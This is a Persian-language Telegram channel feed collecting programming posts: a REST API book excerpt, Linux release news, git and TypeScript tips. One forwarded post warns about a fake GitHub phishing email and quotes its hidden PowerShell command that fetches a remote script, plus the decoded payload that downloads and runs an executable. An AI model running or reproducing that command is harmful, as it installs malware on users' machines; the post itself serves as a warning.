Dev Perfects – Telegram
Dev Perfects
40 subscribers
9.23K photos
1.26K videos
468 files
13K links
بخوام خیلی خلاصه بگم
این کانال میاد مطالب کانالای خفن تو حوزه تکنولوژی و برنامه نویسی رو جمع میکنه

پست پین رو بخونید
https://news.1rj.ru/str/dev_perfects/455


ارتباط:
https://news.1rj.ru/str/HidenChat_Bot?start=936082426
Download Telegram
📕 کتاب REST API Design Rulebook

📌 فصل سوم: Interaction Design with HTTP

📍پارت: اول

#کتاب

💎 HTTP/1.1 💎
‏APIهای REST همه جنبه‌های پروتکل HTTP نسخه ۱.۱ رو شامل می‌شن، مثل متد های درخواست، کدهای ریسپانس و هدرها. این کتاب HTTP رو به دو فصل تقسیم کرده؛ این فصل درباره متد های درخواست و استاتوس کدهای ریسپانس صحبت می‌کنه.

فصل ۴ هم درباره گنجاندن متا داده‌ها در طراحی API REST و هدرهای درخواست و پاسخ HTTP صحبت می‌کنه.

💎 Request Methods 💎
کلاینت‌ها متد تعامل مورد نظر رو در قسمت Request-Line یک درخواست HTTP مشخص می‌کنن. استاندارد RFC 2616 نحوه نوشتن Request-Line رو این‌طوری تعریف کرده:
Request-Line = Method SP Request-URI SP HTTP-Version CRLF


هر متد HTTP معنای مشخص و خاصی در زمینه منابع REST API داره. هدف GET اینه که نمایی از وضعیت یک منبع رو بگیره. HEAD برای دریافت متا داده‌های مربوط به وضعیت منبع استفاده می‌شه. PUT باید برای به‌روزرسانی یک منبع استفاده بشه. DELETE هم برای حذف یک منبع از والدش به کار می‌ره. POST هم برای ایجاد یک منبع جدید در یک مجموعه و اجرای کنترلرها استفاده می‌شه.

⭕️ GET و POST نباید برای تونل‌کردن سایر متد های درخواست استفاده بشن.
تونلینگ به هر نوع سوءاستفاده از HTTP گفته می‌شه که هدف یک پیام رو پنهان یا به اشتباه نمایش می‌ده و شفافیت پروتکل رو تضعیف می‌کنه.
یک API REST نباید طراحی خودشو با سوءاستفاده از متد های درخواست HTTP برای سازگاری با کلاینت‌هایی که دانش محدودی از HTTP دارن، به خطر بندازه. همیشه باید از متد های HTTP به‌طور صحیح و طبق قواعد این بخش استفاده کنی.


⭕️ GET باید برای دریافت نمایی از وضعیت یک منبع استفاده بشه.
یک کلاینت REST API از متد GET در درخواستش استفاده می‌کنه تا وضعیت یک منبع رو در یک فرم نمایشی دریافت کنه. پیام درخواست GET می‌تونه شامل هدرها باشه ولی body نداره.

معماری وب به شدت به ماهیت متد GET وابسته‌است. کلاینت‌ها باید بتونن درخواست‌های GET رو تکرار کنن بدون اینکه عوارض جانبی ایجاد بشه. کش‌ها هم به این قابلیت اتکا دارن که بتونن نمایه‌های کش‌شده رو بدون تماس با سرور اصلی ارائه بدن.

در مثال زیر، می‌بینیم که چطور یک توسعه‌دهنده کلاینت ممکنه از curl در یک ترمینال برای دریافت نمایی از وضعیت فعلی یک منبع "greeting" استفاده کنه:

1️⃣ curl -v http://api.example.restapi.org/greeting

2️⃣ > GET /greeting HTTP/1.1
3️⃣ > User-Agent: curl/7.20.1
> Host: api.example.restapi.org
> Accept: */*
4️⃣ < HTTP/1.1 200 OK
5️⃣ < Date: Sat, 20 Aug 2011 16:02:40 GMT
< Server: Apache
< Expires: Sat, 20 Aug 2011 16:03:40 GMT
< Cache-Control: max-age=60, must-revalidate
< ETag: text/html:hello world
< Content-Length: 130
< Last-Modified: Sat, 20 Aug 2011 16:02:17 GMT
< Vary: Accept-Encoding
< Content-Type: text/html

6️⃣ <!doctype html><head><meta charset="utf-8"><noscript>Greeting</noscript></head>
<body><div id="greeting">Hello World!</div></body></html>


1️⃣ در اینجا، GET متد پیش‌فرض curl هست، بنابراین نیاز نیست به‌طور صریح مشخص بشه. گزینه -v هم باعث می‌شه خروجی curl جزئیات بیشتری داشته باشه.

2️⃣ خط Request-Line در درخواست نشون می‌ده که از متد GET برای منبع greeting استفاده شده.

3️⃣ لیست هدرهای پیام درخواست هم از اینجا شروع می‌شه. هدرهای درخواست و پاسخ HTTP در فصل ۴ توضیح داده شدن.

4️⃣ پیام پاسخ هم از اینجا شروع می‌شه، با خط وضعیت که در بخش "کدهای وضعیت پاسخ" در صفحه ۲۸ بحث شده. کد وضعیت ۲۰۰ OK به curl می‌گه که درخواستش موفقیت‌آمیز بوده.

5️⃣ لیست هدرهای پیام پاسخ هم از اینجا شروع می‌شه.

6️⃣ بدنه پیام ریسپانس هم از اینجا آغاز می‌شه. در این مثال، بدنه شامل یک نمای HTML از پیام خوشامدگویی هست.


⭕️ برای اینکه فقط هدرهای ریسپانس رو بگیریم بدون اینکه body دریافت کنیم، می‌تونیم از متد HEAD استفاده کنیم.
یعنی HEAD همون جواب GET رو میده، ولی بدون بدنه. از این روش میشه برای این استفاده کرد که ببینیم یه منبع وجود داره یا اینکه اطلاعات متادیتاش رو بخونیم.

مثال زیر یه دستور curl رو نشون میده که با استفاده از متد HEAD فقط هدرهای پاسخ رو می‌گیره:
curl -I https://example.com/resource


توضیح:
- -I یا --head: این گزینه به curl میگه که به جای درخواست معمولی GET`، یه درخواست `HEAD بفرسته.
- https://example.com/resource: آدرس منبعی که می‌خوایم چک کنیم رو باید اینجا بذاریم.

نتیجه مورد انتظار:
این دستور فقط هدرهای HTTP رو برمی‌گردونه و body در کار نیست. از این طریق می‌تونیم اطلاعاتی مثل کد وضعیت، نوع محتوا، جزئیات سرور و... رو ببینیم. مثلا خروجی می‌تونه این شکلی باشه:

@ninja_learn_ir
Forwarded from Linuxihadmin
🐧 Gnu/Linux World News, Introduction  & Tutorials

https://news.1rj.ru/str/linuxiha

Join Us: @linuxiha
Forwarded from Python BackendHub
این meme رو دیدم خیلی جالب بود… عمق دانشنتون از PostgreSQL تا چه حدیه؟ یکم حس بی سوادی دست داد بهم :)) تو یکی از پستا چند روز پیش راجب یکیش پرداخته بودم 😁

Every sql operator is actually a join? WTF?😂

@ManiFoldsPython
بچه ها نظرتون راجب کتاب چیه؟
براتون مفید بوده تا حالا؟
Anonymous Poll
75%
خوبه / به درد میخوره
8%
خوب نیست / به دردم نمیخوره
17%
یه کتاب دیگه میخوام
دوستانی که کتاب دیگه مد نظرشون هست کامنت بذارن بعد اینکه این کتابو تموم کردیم کتابی که بیشترین رای رو آورد میذاریم 🌹
Forwarded from 🎄 یک برنامه نویس تنبل (Raymond Dev)
accent-colors.webm
644.6 KB
🔶 نسخه ۴۷ گنوم به نام Denver به صورت رسمی منتشر شد.

https://release.gnome.org/47/

#لینوکس

@TheRaymondDev
Forwarded from 🎄 یک برنامه نویس تنبل (Raymond Dev)
🔶 دیسکورد بالاخره با افزودن رمزگذاری سرتاسری، قابلیت تماس ویدیویی و صوتی را امن‌تر کرد

طبق اعلام دیسکورد، قابلیت رمزگذاری مکالمات صوتی و تصویری این پلتفرم با نام DAVE شناخته می‌شود. ظاهراً این شرکت هنگام تصمیم‌گیری درمورد اینکه چه ویژگی‌های صوتی و تصویری را رمزگذاری کند، به استفاده از راهکاری کامل رو آورده است.

#خبر

@TheRaymondDev
پارچ نگارش ۱۸-۰۹-۲۰۲۴ عرضه شد.


تغییرات:
۱- میزکار پلاسما اکنون شخصی‌سازی شده است (زمینه تیره پیشفرض)
۲- حذف بسته‌های اضافی پلاسما
۳- به‌روزرسانی به کرنل ۶.۱۰


دریافت:

نگارش پلاسما 🖼️

نگارش گنوم 🖼️

💜 @ParchLinux
Please open Telegram to view this post
VIEW IN TELEGRAM
بتای فدورای ۴۱ اومده، اومدن ptyxis رو کردن ترمینال پیشفرض توی گنوم.


https://9to5linux.com/fedora-linux-41-enters-public-beta-testing-with-linux-kernel-6-11-and-gnome-47


ما همینکارو کردیم، دوستان کاربر گنوم می‌خواستن خون مارو بریزن که آره، این جزو برنامه‌های پیشفرض گنوم نیست 👺 شما ارزش مشارکت مارو ندارین 👺

@SohrabContents
Forwarded from 🎄 یک برنامه نویس تنبل (Raymond Dev)
This media is not supported in your browser
VIEW IN TELEGRAM
🔶 انفجارهایی به سبک انفجارهای این روزهای لبنان و سوریه در‌ فیلم Jackpot ‏۲۰۲۴


@TheRaymondDev
Forwarded from Pishro App
تاحالا براتون پیش اومده یه کامیتی بزنید رو پروژتون و بعد کامیت  نیاز به یه تغییر خیلی کوچیک تو پروژه باشه؟

اینجور مواقع شما دیگه نمیخواید یه کامیت جدید بزنید و دلتون میخواد که همین تغییر کوچیک رو روی کامیت قبلیتون بزنید

خب اگه همچین چیزی براتون پیش اومد میتونید با کامند
git commit –amend

هر تغییری که دادید رو روی کامیت قبلیتون ثبت کنید

⭐️ اگه هم خواستید پیام کامیت قبلی رو ادیت کنید باز میتونید از فلگ m استفاده کنید به این صورت
git commit --amend -m “this fixes the previous oopsies”

اطلاعات بیشتر :
https://smartlogic.io/blog/git-commit-amend/

#trick
#git

👾 @pishroapp
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Armon technical logs (armon Taheri)
توصیه میکنم اگر در حوزه نرم‌افزار تحت وب فعالیت میکنین این ۱۲ فاکتور رو مطالعه کنین.
https://12factor.net/
Forwarded from Golden Code (@lix)
در لاراول orderByRaw بهتون این امکان رو میده که نتایج رو بتونید بر اساس یه سری محاسبات خاصی مرتب کنید.

مثلا ؟
میتونیم نتایج رو بر اساس اختلاف بین دو ستون ( قیمت و تخفیف) مرتب کنیم!
این آپشن یه سری جاها کدارو واقعا بهینه میکنه.
#laravel
@GoldenCodeir
(به منبع و مثالش دقت کنید 👇🏾)
https://x.com/laravelbackpack/status/1836004683594469864?t=IGgicccC4LllTLBm0hRviw&s=19
👍2
🟢 آموزش هک کردن بازی دینو ( دایناسور ) کروم

به زودی از چنل کولی کد

🚀 @CoolyCode
همچنان با اختلاف بهترین Roadmap برای هوش مصنوعی همین هست

یک سری موارد موردی رو فقط درحال حاضر می‌تونم بهش اضافه کنم

مثل، کانال Andrej Karpathy توی یوتیوب و ...

لطفاً درخواست #roadmap جدید نفرستید.
این مورد بهترین هست.
Forwarded from 
مشغول بررسی رایانامه‌های بخش هرزنامه بودم، متوجّه یکیشون شدم که از روی یکی از مخازن عمومی گیت‌هابم ارسال شده بود. کاملاً مشابه رایانامه‌های معمول گیت‌هاب بود و حتّیٰ دامنه‌ش هم github-scanner[dot]com بود. ازم خواست برای تأیید ربات نبودنم، پنجرهٔ Run ویندوز رو باز کنم، این رو داخلش بنویسم و اینتر بزنم:
powershell.exe -w hidden -Command "iex (iwr 'https://github-scanner.com/download.txt').Content" # " ''I am not a robot - reCAPTCHA Verification ID: 93752"

که در واقع، این کد رو اجرا می‌کنه:
$webClient = New-Object System.Net.WebClient
$url1 = "https://github-scanner.com/l6E.exe"
$filePath1 = "$env:TEMP\SysSetup.exe"
$webClient.DownloadFile($url1, $filePath1)
Start-Process -FilePath $env:TEMP\SysSetup.exe

من که ویندوز ندارم ولی خب، قانع شدم که چرا رایانامه که در واقع یه خدمت جزیره‌ای بوده، الان مبدّل شده به یه خدمت مرکزگرایانه.

#note #learn
@amiria703_channel
امشب یا فردا بسته به اینترنت :

یک گزارش دقیق از Qwen2.5 خواهیم داشت.

البته مدل Qwen2.5 coder تو راه هست

این بار از تکنیک :
https://news.1rj.ru/str/pytens/1550

استفاده خواهم کرد برای ارزیابی خروجی.
(شخصاً دارم این تکنیک رو اتوماتیک می‌کنم، تا همه‌ی پرامپت‌های local خودم با این روش کار کنند.)
Forwarded from Linuxor ?
ما آینده رو پیشبینی کردیم ، امروز کلی گوشی منفجر شد

هکرا وقتی آسیب پذیری پیدا میکنن، نمیان سریع ازش استفاده کنن در نهایت تارگت هم بگه دستت درد نکنه هکر جون که مشکلمون رو بهمون نشون دادی


هکرا هی میان اون آسیب پذیری رو با آسیب پذیری های دیگه chain و ترکیب میکنن تا اون رو بزرگ و بزرگ ترش کنن، در نهایت این کار قدرت زیادی به هکرا میده.

ماجرا جایی جالب میشه که شناسنایی این نوع حملات خیلی سخت میشه چون مجموعه ای از آسیب پذیری ها chain شده و یه قدرت زیادی به هکر داده و هکر عملا هر کاری میتونه کنه.

نکته جالب تر اینجاست هکرا زمین های بازی هم عوض میکنن، یعنی وقتی یه مشکل پیدا کردن قبل از استفاده اون رو روی زمین های دیگه هم تست میکنن، مثلا میگه روی پیجر تونستم روی گوشی هم حالا یه تستی میکنم.

🐧 @Linuxor
Forwarded from One3erver.com
🔵پلتفرم PaaS یا Platform as a Service یکی از مدل‌های رایانش ابری یا Cloud Computing است که به توسعه‌دهندگان این امکان را می‌دهد تا نرم‌افزارها و برنامه‌ها را بدون نیاز به مدیریت مستقیم زیرساخت‌های سخت‌افزاری و نرم‌افزاری، توسعه، اجرا و مدیریت کنند.

🔺 برای مشاهده کامل پست، کلیک کنید 🔺

✉️ @one3erver
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Accio
A #typenoscript trick that was useful to me today:
type NullableKeys<T> = {
[K in keyof T]: undefined extends T[K] ? K : never;
}[keyof T];

export type MakeOptionalPropertiesNullable<T> = {
[K in Exclude<keyof T, NullableKeys<T>>]: T[K];
} & {
[K in NullableKeys<T>]: T[K] | null;
};

MakeOptionalPropertiesNullable will make optional fields of T accept null as well as their type. e.g:
interface User {
name: string;
lastName?: string;
}

Will be transformed into:
interface NewUser {
name: string;
lastName?: string | null;
}


How is this useful?
Working with different controllers, validators or even ORMs might produce situations like this. For example in Prisma schemas any optional value is simply nullable so for an easier type mapping you might want to introduce a persistence model from your read model via this type mapper.
Or you want to accept both null and undefined from your users but don't want to clutter your domain types with it

How is this even working?
We are taking advantage of typenoscript mappers/transformers. NullableKeys<T> first creates a type that assigns never to any property of T that is not optional (deciding with undefined extends T[K]) and at the end it will get the keys of the transformed object (which will skip any field that has the type never). So we end up with a type like below:
"field1" | "field2" | "field3" | ...

What now? now we pass our type to MakeOptionalPropertiesNullable<T> which at first, goes through any key of T that is not included in NullableKeys<T>. Meaning any key that isn't optional. We don't want to touch those so we simply assign their respective types via T[K]. Now it's time for optional keys to join the party. They will be assigned their own types along side a | null to make them nullable. A simple & will seal the deal at the end.